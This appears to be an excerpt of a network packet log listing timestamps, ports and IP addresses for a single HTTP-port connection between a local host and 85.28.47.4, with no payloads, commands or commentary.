Jun 27, 2024 07:37:15.119517088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119529009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119540930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119550943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119553089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119553089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119561911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119591951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119765997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119776964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119787931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119800091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119810104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119821072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119827986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119838953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119848013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119852066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119864941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119869947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119869947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119874954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119887114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119899035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119910002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119920969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119927883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119932890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119945049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119952917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119952917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.119955063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.119976997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.120012045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.155857086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.160655975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330718994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330733061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330744028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330755949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330768108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330777884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330787897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330804110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330811024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330817938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.330828905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330840111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330849886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330861092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330871105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.330904007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.330904007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.330965996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.331146002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331156969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331166983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331176996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331187010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331197023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331207991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331224918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331227064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.331227064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.331233978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331248045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331250906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.331259966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331269026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331279993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331301928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.331301928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.331325054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.331504107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331515074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331526041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331603050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.331603050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.331625938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331636906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331648111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331662893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331667900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331669092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.331675053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331681013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331697941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331701994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.331708908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.331724882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.331787109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.332248926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332261086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332272053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332283974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332294941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332300901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332305908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332310915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332325935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332334042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332340002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332341909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332348108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332355976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.332355976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.332417011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.332417011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.332891941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332902908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332915068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332926035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332937002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332948923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332957029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.332959890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332966089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332973003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332983017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.332983971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.332983971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.332994938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333009005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333026886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333028078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333038092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333050966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333060980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333072901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333072901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333086014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333132029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333388090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333580017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333590984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333601952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333616972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333642960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333642960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333707094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333745956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333756924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333767891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333779097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333787918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333796978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333796978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333798885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333811045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333822012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333832979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333843946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333847046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333847046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333853960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333864927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333874941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333883047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333894968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333908081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333919048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.333944082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333944082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333944082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.333971977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.334676027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334687948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334697962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334709883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334721088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334733009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334743023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334753990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334753990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.334753990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.334764957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334774017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.334778070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334788084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334803104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334813118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334819078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334824085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334827900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.334827900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.334836006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334846973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334858894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334870100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.334870100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.334870100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.334893942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.334938049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.335549116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.335560083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.335571051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.335582018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.335592985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.335604906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.335614920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.335618973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.335618973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.335625887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.335637093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.335649967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.335649967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.335650921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.335661888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.335701942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.335702896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.417587996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.417594910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.417598963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.417685986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.417697906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.417710066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.417725086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.417738914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.417823076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.417825937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.417886972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.417887926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.417903900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.417943954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.417943954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.418031931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418042898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418055058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418066025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418090105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.418106079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.418334007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418346882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418358088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418369055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418380022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418391943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418392897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.418404102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418414116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418422937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.418422937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.418428898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418462038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.418476105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.418704033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418715000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418725014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418735981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418745995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418756962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418766975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.418766975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.418797970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.418797970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.418819904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.419090033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419141054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.419148922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419161081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419171095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419182062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419192076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419193983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.419214010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419215918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419218063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419222116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419225931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419234037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.419236898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419243097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419250011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.419251919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419262886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419322968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.419322968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.419367075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.419858932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419878006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419888973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419900894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419914961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419924974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419936895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419950008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.419950008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.419954062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419965029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419975042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419986010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.419990063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.419990063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.419996977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420006037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420016050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420027018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420027971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420038939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420039892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420049906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420061111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420067072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420072079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420078039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420093060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420126915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420126915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420717001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420730114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420741081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420752048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420763016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420773029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420774937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420783043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420802116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420804977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420804977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420813084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420825005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420835972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420842886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420846939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420859098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420866966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420870066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420881033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420892954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420896053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420896053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420903921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420914888 CEST	80	49705	85.28.47.4	192.168.2.5
